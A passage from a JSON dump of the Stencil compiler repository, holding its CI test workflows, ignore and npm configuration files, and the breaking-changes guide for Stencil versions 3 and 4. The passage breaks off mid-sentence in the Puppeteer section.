    "content": "name: E2E Tests\n\non:\n  workflow_call:\n    # Make this a reusable workflow, no value needed\n    # https://docs.github.com/en/actions/using-workflows/reusing-workflows\n\npermissions:\n  contents: read\n\njobs:\n  e2e_test:\n    name: (${{ matrix.os }}.${{ matrix.node }})\n    strategy:\n      fail-fast: false\n      matrix:\n        node: ['20', '22']\n        os: ['ubuntu-latest', 'windows-latest']\n    runs-on: ${{ matrix.os }}\n    steps:\n      - name: Checkout Code\n        uses: actions/checkout@692973e3d937129bcbf40652eb9f2f61becf3332 # v4.1.7\n\n      - name: Get Core Dependencies\n        uses: ./.github/workflows/actions/get-core-dependencies\n\n      - name: Use Node ${{ matrix.node }}\n        uses: actions/setup-node@1e60f620b9541d16bece96c5465dc8ee9832be0b # v4.0.3\n        with:\n          node-version: ${{ matrix.node }}\n          cache: 'npm'\n\n      - name: Download Build Archive\n        uses: ./.github/workflows/actions/download-archive\n        with:\n          name: stencil-core\n          path: .\n          filename: stencil-core-build.zip\n\n      - name: End-to-End Tests\n        uses: nick-fields/retry@7152eba30c6575329ac0576536151aca5a72780e # v3.0.0\n        with:\n          timeout_minutes: 10\n          max_attempts: 3\n          command: npm run test.end-to-end -- --ci\n\n      - name: Check Git Context\n        uses: ./.github/workflows/actions/check-git-context\n"
  },
  {
    "path": ".github/workflows/test-types.yml",
    "content": "name: Type Tests\n\non:\n  workflow_call:\n    # Make this a reusable workflow, no value needed\n    # https://docs.github.com/en/actions/using-workflows/reusing-workflows\n\npermissions:\n  contents: read\n\njobs:\n  unit_test:\n    name: Type Tests\n    strategy:\n      fail-fast: false\n      matrix:\n        node: ['20', '22']\n    runs-on: ubuntu-latest\n    steps:\n      - name: Checkout Code\n        uses: actions/checkout@692973e3d937129bcbf40652eb9f2f61becf3332 # v4.1.7\n\n      - name: Get Core Dependencies\n        uses: ./.github/workflows/actions/get-core-dependencies\n\n      - name: Use Node ${{ matrix.node }}\n        uses: actions/setup-node@1e60f620b9541d16bece96c5465dc8ee9832be0b # v4.0.3\n        with:\n          node-version: ${{ matrix.node }}\n          cache: 'npm'\n\n      - name: Download Build Archive\n        uses: ./.github/workflows/actions/download-archive\n        with:\n          name: stencil-core\n          path: .\n          filename: stencil-core-build.zip\n\n      - name: Type Tests\n        run: npm run test.type-tests\n        shell: bash\n"
  },
  {
    "path": ".github/workflows/test-unit.yml",
    "content": "name: Unit Tests\n\non:\n  workflow_call:\n    # Make this a reusable workflow, no value needed\n    # https://docs.github.com/en/actions/using-workflows/reusing-workflows\n\npermissions:\n  contents: read\n\njobs:\n  unit_test:\n    name: (${{ matrix.os }}.${{ matrix.node }})\n    strategy:\n      fail-fast: false\n      matrix:\n        node: ['20', '22']\n        os: ['ubuntu-latest', 'windows-latest']\n    runs-on: ${{ matrix.os }}\n    steps:\n      - name: Checkout Code\n        uses: actions/checkout@692973e3d937129bcbf40652eb9f2f61becf3332 # v4.1.7\n\n      - name: Get Core Dependencies\n        uses: ./.github/workflows/actions/get-core-dependencies\n\n      - name: Use Node ${{ matrix.node }}\n        uses: actions/setup-node@1e60f620b9541d16bece96c5465dc8ee9832be0b # v4.0.3\n        with:\n          node-version: ${{ matrix.node }}\n          cache: 'npm'\n\n      - name: Download Build Archive\n        uses: ./.github/workflows/actions/download-archive\n        with:\n          name: stencil-core\n          path: .\n          filename: stencil-core-build.zip\n\n      - name: Unit Tests\n        run: npm run test.jest\n        shell: bash\n\n      - name: Check Git Context\n        uses: ./.github/workflows/actions/check-git-context\n"
  },
  {
    "path": ".github/workflows/test-wdio.yml",
    "content": "name: WebdriverIO Tests\n\non:\n  workflow_call:\n    # Make this a reusable workflow, no value needed\n    # https://docs.github.com/en/actions/using-workflows/reusing-workflows\n\npermissions:\n  contents: read\n\njobs:\n  wdio_test:\n    name: Run WebdriverIO Component Tests (${{ matrix.browser }})\n    runs-on: ubuntu-22.04\n    strategy:\n      matrix:\n        # browser: [CHROME, FIREFOX, EDGE]\n        browser: [CHROME]\n\n    steps:\n      - name: Checkout Code\n        uses: actions/checkout@692973e3d937129bcbf40652eb9f2f61becf3332 # v4.1.7\n\n      - name: Get Core Dependencies\n        uses: ./.github/workflows/actions/get-core-dependencies\n\n      - name: Use Node Version from Volta\n        uses: actions/setup-node@1e60f620b9541d16bece96c5465dc8ee9832be0b # v4.0.3\n        with:\n          # pull the version to use from the volta key in package.json\n          node-version-file: './test/wdio/package.json'\n          cache: 'npm'\n\n      - name: Download Build Archive\n        uses: ./.github/workflows/actions/download-archive\n        with:\n          name: stencil-core\n          path: .\n          filename: stencil-core-build.zip\n\n      - name: Run WebdriverIO Component Tests\n        run: npm run test.wdio\n        shell: bash\n        env:\n          BROWSER: ${{ matrix.browser }}\n\n      - name: Check Git Context\n        uses: ./.github/workflows/actions/check-git-context\n"
  },
  {
    "path": ".gitignore",
    "content": "*~\n*.sw[mnpcod]\n*.log\n*.lock\n*.tmp\n*.tmp.*\nlog.txt\n*.sublime-project\n*.sublime-workspace\n*.tgz\n\n.DS_Store\n.idea/\n.vscode/\n.claude\n.history/\n.sass-cache/\n.versions/\nnode_modules/\ncoverage/\n\n/build/\n/scripts/build/\ndist/\n\n# submodule packages\n/build-conditionals\n/cli\n/compiler\n/hydrate\n/dev-server\n/internal\n/mock-doc\n/polyfills\n/runtime\n/server\n/sys\n/testing\n\n/screenshot/index.js\n/screenshot/index.js.map\n/screenshot/package.json\n/screenshot/pixel-match.js\n/screenshot/pixel-match.js.map\n/screenshot/*.d.ts\n\ntest/**/www/*\ntest/**/hydrate/*\n.stencil\ncoverage/**\n\n# TODO(STENCIL-446): Remove these once `strictNullChecks` is enabled\nnull_errors*.json\n# TODO(STENCIL-454): Remove or change this up once we've eliminated unused exports\nunused-exports*.txt\n\n# readme file from docs-readme that is expected to be missing so it will be emitted in full\ntest/docs-readme/custom-readme-output-overwrite-if-missing-missing/components/styleurls-component/readme.md\n"
  },
  {
    "path": ".npmrc",
    "content": "# By default, Node allocates 2 GB for a process to run.\n# When building Stencil, it may reach that point before the garbage collector is invoked, causing an out-of-memory\n# related failure.\n# If this value is changed, please ensure that it works both locally and in a continuous integration environment in\n# a repeatable manner (i.e. it can run many times, one after the other, without failing due to out-of-memory errors).\nnode_options=--max-old-space-size=4096\n# TODO(STENCIL-1141): remove `PUPPETEER_DOWNLOAD_BASE_URL` once support for Node v16 is dropped\nPUPPETEER_DOWNLOAD_BASE_URL=https://storage.googleapis.com/chrome-for-testing-public\n"
  },
  {
    "path": ".nvmrc",
    "content": "v22.13.0\n"
  },
  {
    "path": ".prettierignore",
    "content": "# npm packages in the root of the project and subdirectories\nnode_modules/\n\n# submodule packages\n/build/\n/cli/\n/compiler/\n/dev-server/\n/internal/\n/mock-doc/\n/sys/\n/testing/\n\n# shims that are attributed to external authors, and are minified out of the box\n/src/client/polyfills/core-js.js\n/src/client/polyfills/dom.js\n/src/client/polyfills/es5-html-element.js\n/src/client/polyfills/index.js\n/src/client/polyfills/system.js\n\n# project notes shared with the community\n/notes/\n\n# output of building various scripts that support the project\n/scripts/build/\n\n# these files are intentionally incomplete JavaScript files (they are parts of an Immediately Invoked Funciton\n# Expression (IIFE)). They act as a 'header' and 'footer' that get prepended and appended to the Stencil compiler.\n# Ignore them so Prettier doesn't fail and the 'prettier-ignore' pragma doesn't get put in the compiler output.\n/scripts/bundles/helpers/compiler-cjs-intro.js\n/scripts/bundles/helpers/compiler-cjs-outro.js\n\n# code coverage output\ncoverage/\n\n# output from compiling Stencil projects for testing purposes\ntest/**/dist/\ntest/**/dist-react/\ntest/**/hydrate/\ntest/**/test-output/\ntest/**/www/\ntest/**/components.d.ts\ntest/end-to-end/screenshot/\ntest/end-to-end/docs.d.ts\ntest/end-to-end/docs.json\ntest/docs-json/docs.d.ts\ntest/docs-json/docs.json\n\n# minified angular that exists in the test directory\n\n# generated screenshot files\n/screenshot/index.js\n/screenshot/package.json\n/screenshot/pixel-match.js\n/screenshot/*.d.ts\n\n# third party scripts\nsrc/mock-doc/third-party/jquery.ts\ntest/wdio/slot-ng-if/assets/\n\n\n# wdio test output\ntest/wdio/test-components\ntest/wdio/test-components-no-external-runtime\ntest/wdio/www-global-script/\ntest/wdio/www-prerender-script\ntest/wdio/www-invisible-prehydration/\ntest/wdio/test-ts-target-output\ntest/wdio/test-components-autoloader"
  },
  {
    "path": "BREAKING_CHANGES.md",
    "content": "# Breaking Changes\n\nThis is a comprehensive list of the breaking changes introduced in the major version releases of Stencil.\n\n## Versions\n\n- [Stencil 4.x](#stencil-v400)\n- [Stencil 3.x](#stencil-v300)\n- [Stencil 2.x](#stencil-two)\n- [Stencil 1.x](#stencil-one)\n\n## Stencil v4.0.0\n\n- [New Configuration Defaults](#new-configuration-defaults)\n  - [transformAliasedImportPaths](#transformaliasedimportpaths)\n  - [transformAliasedImportPathsInCollection](#transformaliasedimportpathsincollection)\n- [In Browser Compilation Support Removed](#in-browser-compilation-support-removed)\n- [Legacy Context and Connect APIs Removed](#legacy-context-and-connect-APIs-removed)\n- [Legacy Browser Support Removed](#legacy-browser-support-removed)\n- [Legacy Cache Stats Config Flag Removed](#legacy-cache-stats-config-flag-removed)\n- [Drop Node 14 Support](#drop-node-14-support)\n- [Information Included in JSON Documentation Expanded](#information-included-in-docs-json-expanded)\n\n### New Configuration Defaults\nStarting with Stencil v4.0.0, the default configuration values have changed for a few configuration options.\nThe following sections lay out the configuration options that have changed, their new default values, and ways to opt-out of the new behavior (if applicable).\n\n#### `transformAliasedImportPaths`\n\nTypeScript projects have the ability to specify a path aliases via the [`paths` configuration in their `tsconfig.json`](https://www.typescriptlang.org/docs/handbook/module-resolution.html#path-mapping) like so:\n```json title=\"tsconfig.json\"\n{\n  \"compilerOptions\": {\n    \"baseUrl\": \".\",\n    \"paths\": {\n      \"@utils\": [\"src/utils/index.ts\"]\n    }\n  }\n}\n```\nIn the example above, `\"@utils\"` would be mapped to the string `\"src/utils/index.ts\"` when TypeScript performs type resolution.\nThe TypeScript compiler does not however, transform these paths from their keys to their values as a part of its output.\nInstead, it relies on a bundler/loader to do the transformation.\n\nThe ability to transform path aliases was introduced in [Stencil v3.1.0](https://github.com/stenciljs/core/releases/tag/v3.1.0) as an opt-in feature.\nPreviously, users had to explicitly enable this functionality in their `stencil.config.ts` file with `transformAliasedImportPaths`:\n```ts title=\"stencil.config.ts - enabling 'transformAliasedImportPaths' in Stencil v3.1.0\"\nimport { Config } from '@stencil/core';\n\nexport const config: Config = {\n  transformAliasedImportPaths: true,\n  // ...\n};\n```\n\nStarting with Stencil v4.0.0, this feature is enabled by default.\nProjects that had previously enabled this functionality that are migrating from Stencil v3.1.0+ may safely remove the flag from their Stencil configuration file(s).\n\nFor users that run into issues with this new default, we encourage you to file a [new issue on the Stencil GitHub repo](https://github.com/stenciljs/core/issues/new?assignees=&labels=&projects=&template=bug_report.yml&title=bug%3A+).\nAs a workaround, this flag can be set to `false` to disable the default functionality.\n```ts title=\"stencil.config.ts - disabling 'transformAliasedImportPaths' in Stencil v4.0.0\"\nimport { Config } from '@stencil/core';\n\nexport const config: Config = {\n  transformAliasedImportPaths: false,\n  // ...\n};\n```\n\nFor more information on this flag, please see the [configuration documentation](https://stenciljs.com/docs/config#transformaliasedimportpaths)\n\n#### `transformAliasedImportPathsInCollection`\n\nIntroduced in [Stencil v2.18.0](https://github.com/stenciljs/core/releases/tag/v2.18.0), `transformAliasedImportPathsInCollection` is a configuration flag on the [`dist` output target](https://stenciljs.com/docs/distribution#transformaliasedimportpathsincollection).\n`transformAliasedImportPathsInCollection` transforms import paths, similar to [`transformAliasedImportPaths`](#transformaliasedimportpaths).\nThis flag however, only enables the functionality of `transformAliasedImportPaths` for collection output targets.\n\nStarting with Stencil v4.0.0, this flag is enabled by default.\nProjects that had previously enabled this functionality that are migrating from Stencil v2.18.0+ may safely remove the flag from their Stencil configuration file(s).\n\nFor users that run into issues with this new default, we encourage you to file a [new issue on the Stencil GitHub repo](https://github.com/stenciljs/core/issues/new?assignees=&labels=&projects=&template=bug_report.yml&title=bug%3A+).\nAs a workaround, this flag can be set to `false` to disable the default functionality.\n```ts title=\"stencil.config.ts - disabling 'transformAliasedImportPathsInCollection' in Stencil v4.0.0\"\nimport { Config } from '@stencil/core';\n\nexport const config: Config = {\n  outputTargets: [\n    {\n      type: 'dist',\n      transformAliasedImportPathsInCollection: false,\n    },\n    // ...\n  ]\n  // ...\n};\n```\n\nFor more information on this flag, please see the [`dist` output target's documentation](https://stenciljs.com/docs/distribution#transformaliasedimportpathsincollection).\n\n### In Browser Compilation Support Removed\n\nPrior to Stencil v4.0.0, components could be compiled from TSX to JS in the browser.\nThis feature was seldom used, and has been removed from Stencil.\nAt this time, there is no replacement functionality.\nFor additional details, please see the [request-for-comment](https://github.com/stenciljs/core/discussions/4134) on the Stencil GitHub Discussions page.\n\n### Legacy Context and Connect APIs Removed\n\nPreviously, Stencil supported `context` and `connect` as options within the `@Prop` decorator.\nBoth of these APIs were deprecated in Stencil v1 and are now removed.\n\n```ts\n@Prop({ context: 'config' }) config: Config;\n@Prop({ connect: 'ion-menu-controller' }) lazyMenuCtrl: Lazy<MenuController>;\n```\n\nTo migrate away from usages of `context`, please see [the original deprecation announcement](#propcontext)\nTo migrate away from usages of `connect`, please see [the original deprecation announcement](#propconnect)\n\n### Legacy Browser Support Removed\n\nIn Stencil v3.0.0, we announced [the deprecation of IE 11, pre-Chromium Edge, and Safari 10 support](#legacy-browser-support-fields-deprecated).\nIn Stencil v4.0.0, support for these browsers has been dropped (for a full list of supported browsers, please see our [Browser Support policy](https://stenciljs.com/docs/support-policy#browser-support)).\nBy dropping these browsers, a few configuration options are no longer valid in a Stencil configuration file:\n\n#### `__deprecated__cssVarsShim`\n\nThe `extras.__deprecated__cssVarsShim` option caused Stencil to include a polyfill for [CSS variables](https://developer.mozilla.org/en-US/docs/Web/CSS/--*).\nThis field should be removed from a project's Stencil configuration file (`stencil.config.ts`).\n\n#### `__deprecated__dynamicImportShim`\n\nThe `extras.__deprecated__dynamicImportShim` option caused Stencil to include a polyfill for\nthe [dynamic `import()` function](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/import)\nfor use at runtime.\nThis field should be removed from a project's Stencil configuration file (`stencil.config.ts`).\n\n#### `__deprecated__safari10`\n\nThe `extras.__deprecated__safari10` option would patch ES module support for Safari 10.\nThis field should be removed from a project's Stencil configuration file (`stencil.config.ts`).\n\n#### `__deprecated__shadowDomShim`\n\nThe `extras.__deprecated__shadowDomShim` option would check whether a shim for [shadow\nDOM](https://developer.mozilla.org/en-US/docs/Web/Web_Components/Using_shadow_DOM)\nwas needed in the current browser, and include one if so.\nThis field should be removed from a project's Stencil configuration file (`stencil.config.ts`). \n\n### Legacy Cache Stats Config Flag Removed\n\nThe `enableCacheStats` flag was used in legacy behavior for caching, but has not been used for some time. This\nflag has been removed from Stencil's API and should be removed from a project's Stencil configuration file (`stencil.config.ts`).\n\n### Drop Node 14 Support\n\nStencil no longer supports Node 14.\nPlease upgrade local development machines, continuous integration pipelines, etc. to use Node v16 or higher.\nFor the full list of supported runtimes, please see [our Support Policy](https://stenciljs.com/docs/support-policy#javascript-runtime).\n\n### Information Included in `docs-json` Expanded\n\nFor Stencil v4 the information included in the output of the `docs-json` output\ntarget was expanded to include more information about the types of properties\nand methods on Stencil components.\n\nFor more context on this change, see the [documentation for the new\n`supplementalPublicTypes`](https://stenciljs.com/docs/docs-json#supplementalpublictypes)\noption for the JSON documentation output target.\n\n#### `JsonDocsEvent`\n\nThe JSON-formatted documentation for an `@Event` now includes a field called\n`complexType` which includes more information about the types referenced in the\ntype declarations for that property.\n\nHere's an example of what this looks like for the [ionBreakpointDidChange\nevent](https://github.com/ionic-team/ionic-framework/blob/1f0c8049a339e3a77c468ddba243041d08ead0be/core/src/components/modal/modal.tsx#L289-L292)\non the `Modal` component in Ionic Framework:\n\n```json\n{\n  \"complexType\": {\n    \"original\": \"ModalBreakpointChangeEventDetail\",\n    \"resolved\": \"ModalBreakpointChangeEventDetail\",\n    \"references\": {\n      \"ModalBreakpointChangeEventDetail\": {\n        \"location\": \"import\",\n        \"path\": \"./modal-interface\",\n        \"id\": \"src/components/modal/modal.tsx::ModalBreakpointChangeEventDetail\"\n      }\n    }\n  }\n}\n```\n\n#### `JsonDocsMethod`\n\nThe JSON-formatted documentation for a `@Method` now includes a field called\n`complexType` which includes more information about the types referenced in \nthe type declarations for that property.\n\nHere's an example of what this looks like for the [open\nmethod](https://github.com/ionic-team/ionic-framework/blob/1f0c8049a339e3a77c468ddba243041d08ead0be/core/src/components/select/select.tsx#L261-L313)\non the `Select` component in Ionic Framework:\n\n```json\n{\n  \"complexType\": {\n    \"signature\": \"(event?: UIEvent) => Promise<any>\",\n    \"parameters\": [\n      {\n        \"tags\": [\n          {\n            \"name\": \"param\",\n            \"text\": \"event The user interface event that called the open.\"\n          }\n        ],\n        \"text\": \"The user interface event that called the open.\"\n      }\n    ],\n    \"references\": {\n      \"Promise\": {\n        \"location\": \"global\",\n        \"id\": \"global::Promise\"\n      },\n      \"UIEvent\": {\n        \"location\": \"global\",\n        \"id\": \"global::UIEvent\"\n      },\n      \"HTMLElement\": {\n        \"location\": \"global\",\n        \"id\": \"global::HTMLElement\"\n      }\n    },\n    \"return\": \"Promise<any>\"\n  }\n}\n```\n\n## Stencil v3.0.0\n\n* [General](#general)\n  * [New Configuration Defaults](#new-configuration-defaults)\n    * [SourceMaps](#sourcemaps)\n    * [`dist-custom-elements` Type Declarations](#dist-custom-elements-type-declarations)\n  * [Legacy Browser Support Fields Deprecated](#legacy-browser-support-fields-deprecated)\n    * [`dynamicImportShim`](#dynamicimportshim)\n    * [`cssVarsShim`](#cssvarsshim)\n    * [`shadowDomShim`](#shadowdomshim)\n    * [`safari10`](#safari10)\n  * [Deprecated `assetsDir` Removed from `@Component()` decorator](#deprecated-assetsdir-removed-from-component-decorator)\n  * [Drop Node 12 Support](#drop-node-12-support)\n  * [Strongly Typed Inputs](#strongly-typed-inputs)\n  * [Narrowed Typing for `autocapitalize` Attribute](#narrowed-typing-for-autocapitalize-attribute)\n  * [Custom Types for Props and Events are now Exported from `components.d.ts`](#custom-types-for-props-and-events-are-now-exported-from-componentsdts)\n  * [Composition Event Handlers Renamed](#composition-event-handlers-renamed)\n* [Output Targets](#output-targets)\n  * [`dist-custom-elements` Output Target](#dist-custom-elements-output-target)\n    * [Add `customElementsExportBehavior` to Control Export Behavior](#add-customelementsexportbehavior-to-control-export-behavior)\n    * [Move `autoDefineCustomElements` Configuration](#move-autodefinecustomelements-configuration)\n    * [Remove `inlineDynamicImports` Configuration](#remove-inlinedynamicimports-configuration)\n  * [`dist-custom-elements-bundle` Output Target](#dist-custom-elements-bundle-output-target)\n* [Legacy Angular Output Target](#legacy-angular-output-target)\n* [Stencil APIs](#stencil-apis)\n  * [Flag Parsing, `parseFlags()`](#flag-parsing-parseflags)\n  * [Destroy Callback, `addDestroy()`, `removeDestroy()`](#destroy-callback-adddestroy-removedestroy)\n* [End-to-End Testing](#end-to-end-testing)\n  * [Puppeteer v10+ Required](#puppeteer-v10-required)\n\n### General\n#### New Configuration Defaults\nStarting with Stencil v3.0.0, the default configuration values have changed for a few properties.\n\n##### SourceMaps\nSourcemaps are generated by default for all builds.\nPreviously, sourcemaps had to be explicitly enabled by setting the `sourceMap` flag to `true`.\nTo restore the old behavior, set the `sourceMap` flag to `false` in your project's `stencil.config.ts`:\n```ts\n// stencil.config.ts\nimport { Config } from '@stencil/core';\n\nexport const config: Config = {\n  sourceMap: false,\n  // ...\n};\n```\n##### `dist-custom-elements` Type Declarations\nType declaration files (`.d.ts` files) are now generated by default for the `dist-custom-elements` output target.\nIf your project is using `dist-custom-elements` and you do not wish to generate type declarations, the old behavior can be achieved by setting `generateTypeDeclarations` to `false` in the `dist-custom-elements` output target in your project's `stencil.config.ts`:\n```ts\n// stencil.config.ts\nimport { Config } from '@stencil/core';\n\nexport const config: Config = {\n  outputTargets: [\n    {\n      type: 'dist-custom-elements',\n      generateTypeDeclarations: false,\n      // ...\n    },\n    // ...\n  ],\n  // ...\n};\n```\n\n#### Legacy Browser Support Fields Deprecated\n\nSeveral configuration options related to support for Safari <11, IE11, and Edge\n<19 have been marked as deprecated, and will be removed entirely in a future\nversion of Stencil.\n\n##### `dynamicImportShim`\n\nThe `extras.dynamicImportShim` option causes Stencil to include a polyfill for\nthe [dynamic `import()`\nfunction](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/import)\nfor use at runtime. The field is renamed to `__deprecated__dynamicImportShim`\nto indicate deprecation. To retain the prior behavior the new option can be\nset in your project's `stencil.config.ts`:\n\n```ts\n// stencil.config.ts\nimport { Config } from '@stencil/core';\n\nexport const config: Config = {\n  extras: {\n    __deprecated__dynamicImportShim: true\n  }\n};\n```\n\n##### `cssVarsShim`\n\n`extras.cssVarsShim` causes Stencil to include a polyfill for [CSS\nvariables](https://developer.mozilla.org/en-US/docs/Web/CSS/--*). For Stencil\nv3.0.0 this field is renamed to `__deprecated__cssVarsShim`. To retain the\nprevious behavior the new option can be set in your project's\n`stencil.config.ts`:\n\n```ts\n// stencil.config.ts\nimport { Config } from '@stencil/core';\n\nexport const config: Config = {\n  extras: {\n    __deprecated__cssVarsShim: true\n  }\n};\n```\n\n##### `shadowDomShim`\n\nIf `extras.shadowDomShim` is set to `true` the Stencil runtime will check\nwhether a shim for [shadow\nDOM](https://developer.mozilla.org/en-US/docs/Web/Web_Components/Using_shadow_DOM)\nis needed in the current browser, and include one if so. For Stencil v3.0.0\nthis field is renamed to `__deprecated__shadowDomShim`. To retain the previous\nbehavior the new option can be set in your project's `stencil.config.ts`:\n\n```ts\n// stencil.config.ts\nimport { Config } from '@stencil/core';\n\nexport const config: Config = {\n  extras: {\n    __deprecated__shadowDomShim: true\n  }\n};\n```\n\n##### `safari10`\n\nIf `extras.safari10` is set to `true` the Stencil runtime will patch ES module\nsupport for Safari 10. In Stencil v3.0.0 the field is renamed to\n`__deprecated__safari10` to indicate deprecation. To retain the prior behavior\nthe new option can be set in your project's `stencil.config.ts`:\n\n```ts\n// stencil.config.ts\nimport { Config } from '@stencil/core';\nexport const config: Config = {\n  extras: {\n    __deprecated__safari10: true\n  }\n};\n```\n\n#### Deprecated `assetsDir` Removed from `@Component()` decorator\nThe `assetsDir` field was [deprecated in Stencil v2.0.0](#componentassetsdir), but some backwards compatibility was retained with a warning message.\nIt has been fully removed in Stencil v3.0.0 in favor of `assetsDirs`.\nTo migrate from existing usages of `assetsDir`, update the property name and wrap its value in an array:\n```diff\n@Component({\n  tag: 'my-component',\n- assetsDir: 'assets',\n+ assetsDirs: ['assets'],\n})\n```\nFor more information on the `assetsDirs` field, please see the [Stencil Documentation on `assetsDirs`](https://stenciljs.com/docs/assets#assetsdirs)\n\n#### Drop Node 12 Support\nStencil no longer supports Node 12.\nPlease upgrade local development machines, continuous integration pipelines, etc. to use Node v14 or higher.\n\n#### Strongly Typed Inputs\n`onInput` and `onInputCapture` events have had their interface's updated to accept an argument of `InputEvent` over `Event`:\n```diff\n- onInput?: (event: Event) => void;\n+ onInput?: (event: InputEvent) => void;\n- onInputCapture?: (event: Event) => void;\n+ onInputCapture?: (event: InputEvent) => void;\n```\n`event` arguments to either callback should be updated to take this narrower typing into account\n\n#### Narrowed Typing for `autocapitalize` Attribute\nThe [`autocaptialize` attribute](https://developer.mozilla.org/en-US/docs/Web/HTML/Global_attributes/autocapitalize) has been narrowed from type `any` to type `string`.\nThis change brings Stencil into closer alignment with TypeScript's typings for the attribute.\nNo explicit changes are needed, unless a project was passing non-strings to the attribute.\n\n#### Custom Types for Props and Events are now Exported from `components.d.ts`\n\nCustom types for props and custom events are now re-exported from a project's `components.d.ts` file.\n\nFor the following Stencil component\n```tsx\nimport { Component, Event, EventEmitter, Prop, h } from '@stencil/core';\n\nexport type NameType = string;\nexport type Todo = Event;\n\n@Component({\n  tag: 'my-component',\n  styleUrl: 'my-component.css',\n  shadow: true,\n})\nexport class MyComponent {\n  @Prop() first: NameType;\n\n  @Event() todoCompleted: EventEmitter<Todo>\n\n  render() {\n    return <div>Hello, World! I'm {this.first}</div>;\n  }\n}\n```\n\n\nThe following data will now be included automatically in `components.d.ts`:\n```diff\n  import { HTMLStencilElement, JSXBase } from \"@stencil/core/internal\";\n  import { NameType, Todo } from \"./components/my-component/my-component\";\n+ export { NameType, Todo } from \"./components/my-component/my-component\";\n  export namespace Components {\n      interface MyComponent {\n        \"first\": NameType;\n      }\n  }\n  export interface MyComponentCustomEvent<T> extends CustomEvent<T> {\n      detail: T;\n      target: HTMLMyComponentElement;\n  }\n  declare global {\n      interface HTMLMyComponentElement extends Components.MyComponent, HTMLStencilElement {\n  }\n```\nThis allows those types to be easily accessed from the root of the type distribution:\n```ts\nimport { NameType, Todo } from '@my-lib/types';\n```\n\nWhen using `dist-custom-elements`, these types can now be accessed from the custom element output:\n```ts\nimport { NameType, Todo } from '@my-custom-elements-output';\n```\n\nThis _may_ clash with any manually created types in existing Stencil projects.\nProjects that manually create type definitions from `components.d.ts` will either need to:\n- remove the manually created type (if the types generated in `components.d.ts` suffice)\n- update their type creation logic to account for potential naming collisions with the newly generated types\n\n#### Composition Event Handlers Renamed\n\nThe names of Stencil's composition event handlers have been changed in order to\ncorrect a casing issue which prevented handlers from being called when events\nfired. The changes are as follows:\n\n| previous name                | new name                     |\n| ---------------------------- | ---------------------------- |\n| `onCompositionEnd`           | `onCompositionend`           |\n| `onCompositionEndCapture`    | `onCompositionendCapture`    |\n| `onCompositionStart`         | `onCompositionstart`         |\n| `onCompositionStartCapture`  | `onCompositionstartCapture`  |\n| `onCompositionUpdate`        | `onCompositionupdate`        |\n| `onCompositionUpdateCapture` | `onCompositionupdateCapture` |\n\n### Output Targets\n\n#### `dist-custom-elements` Output Target\n##### Add `customElementsExportBehavior` to Control Export Behavior\n`customElementsExportBehavior` is a new configuration option for the output target.\nIt allows users to configure the export behavior of components that are compiled using the output target.\nBy default, this output target will behave exactly as it did in Stencil v2.0.0.\nFor more information on how to configure it, please see the [documentation for the field](https://stenciljs.com/docs/custom-elements#customElementsExportBehavior).\n\n##### Move `autoDefineCustomElements` Configuration\n`autoDefineCustomElements` was a configuration option to define a component and its children automatically with the CustomElementRegistry when the component's module is imported.\nThis behavior has been merged into the [`customElementsExportBehavior` configuration field](#add-customelementsexportbehavior-to-control-export-behavior).\nTo continue to use this behavior, replace `autoDefineCustomElements` in your project's `stencil.config.ts` with the following:\n```diff\n// stencil.config.ts\nimport { Config } from '@stencil/core';\n\nexport const config: Config = {\n  outputTargets: [\n    {\n      type: 'dist-custom-elements',\n-      autoDefineCustomElements: true,\n+      customElementsExportBehavior: 'auto-define-custom-elements',\n      // ...\n    },\n    // ...\n  ],\n  // ...\n};\n```\n\n#### Remove `inlineDynamicImports` Configuration\n\nThe `inlineDynamicImports` configuration option on `dist-custom-elements` has been removed. Previously, this option would throw an error at build\ntime during the Rollup bundling process if the build contained multiple \"inputs\" (components).\n\n#### `dist-custom-elements-bundle` Output Target\nThe `dist-custom-elements-bundle` has been removed starting with Stencil v3.0.0, following the [RFC process](https://github.com/stenciljs/core/issues/3136).\nUsers of this output target should migrate to the `dist-custom-elements` output target.\n\nBy default, `dist-custom-elements` does not automatically define all a project's component's with the `CustomElementsRegistry`.\nThis allows for better treeshaking and smaller bundle sizes.\n\nFor teams that need to migrate quickly to `dist-custom-elements`, the following configuration should be close to a drop-in replacement for `dist-custom-elements-bundle`:\n```diff\n// stencil.config.ts\nimport { Config } from '@stencil/core';\n\nexport const config: Config = {\n  outputTargets: [\n-    {\n-      type: 'dist-custom-elements-bundle',\n-      // additional configuration\n-    },\n+    {\n+      type: 'dist-custom-elements',\n+      customElementsExportBehavior: 'bundle'\n+    },\n    // ...\n  ],\n  // ...\n};\n```\nHowever, it does not necessarily improve treeshaking/bundle size.\nFor more information on configuring this output target, please see the [`dist-custom-elements` documentation](https://stenciljs.com/docs/custom-elements)\n\n### Legacy Angular Output Target\nPrior to the creation of the [`@stencil/angular-output-target`](https://github.com/stenciljs/core-ds-output-targets/blob/main/packages/angular-output-target/README.md), the `'angular'` output target was the original means of connecting a Stencil component to an Angular application.\nThis output target has been removed in favor of `@stencil/angular-output-target`.\nPlease migrate to `@stencil/angular-output-target` and remove the `'angular'` output target from your `stencil.config.ts` file.\nInstructions for doing so can be found [on the Stencil site](https://stenciljs.com/docs/angular#setup)\n\n### Stencil APIs\nStencil exposes Node APIs for programmatically invoking the compiler.\nMost users do not use these APIs directly.\nUnless your project calls these APIs, no action is required for this section.\n\n#### Flag Parsing, `parseFlags()`\nStencil exposes an API for parsing flags that it receives from the command line.\nPreviously, it accepted an optional `CompilerSystem` argument that was never properly used.\nThe flag has been removed as of Stencil v3.0.0.\nTo migrate, remove the argument from any calls to `parseFlags` imported from the Stencil CLI package.\n```diff\nimport { parseFlags } from '@stencil/core/cli';\n- parseFlags(flags, compilerSystem);\n+ parseFlags(flags);\n```\n\n#### Destroy Callback, `addDestroy()`, `removeDestroy()`\nThe Stencil `CompilerSystem` interface has a pair of methods, `addDestroy` and `removeDestroy` that were previously misspelled.\nIf your codebase explicitly calls these methods, they need to be updated.\nReplace all instances of `addDestory` with `addDestroy` and all instances of `removeDestory` with `removeDestroy`\nThe functionality of these methods remains the same.\n\n### End-to-End Testing\n#### Puppeteer v10+ Required\nVersions of Puppeteer prior to Puppeteer version 10 are no longer supported.\nIn newer versions of Puppeteer, the library provides its own types, making `@types/puppeteer` no longer necessary.\nEnsure that Puppeteer v10 or higher is installed, and that its typings are not:\n```bash\n$ npm install puppeteer\n$ npm uninstall @types/puppeteer\n```\n\nTo see which versions of Puppeteer are supported by 